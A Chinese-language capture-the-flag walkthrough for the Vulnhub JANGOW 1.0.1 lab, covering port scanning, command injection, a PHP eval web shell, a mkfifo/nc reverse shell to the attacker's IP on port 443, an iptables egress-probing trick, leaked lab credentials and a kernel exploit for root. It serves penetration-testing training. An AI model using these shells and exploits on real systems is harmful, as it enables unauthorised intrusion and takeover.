Vulnhub 靶场 JANGOW: 1.0.1
前期准备:
靶机下载地址:https://www.vulnhub.com/entry/jangow-101,754/
kali攻击机IP:192.168.11.128
靶机地址:192.168.11.169
一、信息收集
1.使用nmap对目标靶机进行扫描
nmap -p 1-65535 -A -sV 192.168.11.169
发现开放了21和80端口,查看一下80端口。
2. 80端口
检查页面后发现Buscar页面有个可疑的地方:
简单做一下测试:
有命令执行,那就写个反弹 shell,靶机中有 nc 但是连不上,bash 也不行:
试过 python 的也不行,那就直接写入一句话木马试一下:
echo '<?php eval($_POST["sain"]);' > sain.php
返回200,应该上传成功了,用蚁剑链接一下:
连接成功。简单查看一下文件,在/var/www/html/site/wordpress下也发现了配置文件:
除此之外发现在/var/www/html下有一个./backup文件:
发现都是数据库的用户名和密码,但是jangow01和系统名字一样,所以我就尝试下直接登录系统,发现可以直接登陆进去:
username = "jangow01"
password = "abygurl69"
写入反弹shell连接,然后发现 nc 有些参数用不了:
除此之外也尝试了好几种反弹shell,都不行,那可能存在端口限制,试了好几个端口后发现443端口能用(其实一般的服务器做端口限制都不会限制80和443),当然也可以用脚本探测,先在 kali 上把 1-65535 这所有端口绑定某个端口上:
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
然后监听 1234:nc -lvvp 1234
在靶机上简单写一个脚本探测一下:
运行:
此时 nc 上:
发现有个连接能连上,看一下 out.txt:
探测出来 443 端口。那就写一个反弹 shell:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.128 443 >/tmp/f');?>
kali上开启监听(因为前面做了端口绑定,那直接监听 1234 即可),并且访问反弹shell的php文件:
连接成功,升级一下 shell。
在home目录下发现一个user.txt文件:
三、提权
查看一下系统版本,看看有没有可利用的漏洞:
靶机环境是ubuntu16.04,使用 searchsploit 看看有没有什么可利用的漏洞
发现 45010.c ,看一下怎么利用:
说 gcc 运行会生成一个文件,运行生成的文件即可,那把45010.c文件传送到靶机中,开个简单http服务:
赋一下权限(一开始我用的 jangow01 用户做的,发现无法赋权,后来试了下 www-data 可以):
先用 gcc 运行一下45010.c文件:
生成一个 a.out 文件,运行a.out文件,得到root权限,查看flag:
完成。